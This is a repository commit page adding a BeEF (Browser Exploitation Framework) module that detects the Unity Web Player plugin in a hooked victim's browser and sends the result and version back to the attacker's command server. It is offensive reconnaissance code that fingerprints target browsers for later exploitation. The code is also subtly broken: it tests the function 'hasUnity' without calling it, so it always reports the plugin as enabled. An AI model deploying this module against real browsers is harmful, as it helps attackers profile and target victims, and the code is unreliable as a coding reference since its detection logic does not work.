Module: Detect Unity Web Player
This commit is contained in:
60
modules/browser/detect_unity/command.js
Normal file
60
modules/browser/detect_unity/command.js
Normal file
@@ -0,0 +1,60 @@
|
||||
//
|
||||
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var hasUnity = function() {
|
||||
|
||||
// Internet Explorer
|
||||
if ( beef.browser.isIE() ) {
|
||||
|
||||
try {
|
||||
var unity_test = new ActiveXObject('UnityWebPlayer.UnityWebPlayer.1');
|
||||
} catch (e) { }
|
||||
|
||||
if ( unity_test ) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Not Internet Explorer
|
||||
} else if ( navigator.mimeTypes && navigator.mimeTypes["application/vnd.unity"] ) {
|
||||
|
||||
if ( navigator.mimeTypes["application/vnd.unity"].enabledPlugin &&
|
||||
navigator.plugins &&
|
||||
navigator.plugins["Unity Player"] ) {
|
||||
|
||||
return true;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return false;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
if ( hasUnity ) {
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "unity = Unity Web Player is enabled");
|
||||
|
||||
if ( !beef.browser.isIE() ) {
|
||||
|
||||
var unityRegex = /Unity Web Player version (.*). \(c\)/g;
|
||||
var match = unityRegex.exec(navigator.plugins["Unity Player"].description);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "unity version = "+ match[1]);
|
||||
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "unity = Unity Web Player is not enabled");
|
||||
|
||||
}
|
||||
|
||||
});
|
||||
Reference in New Issue
Block a user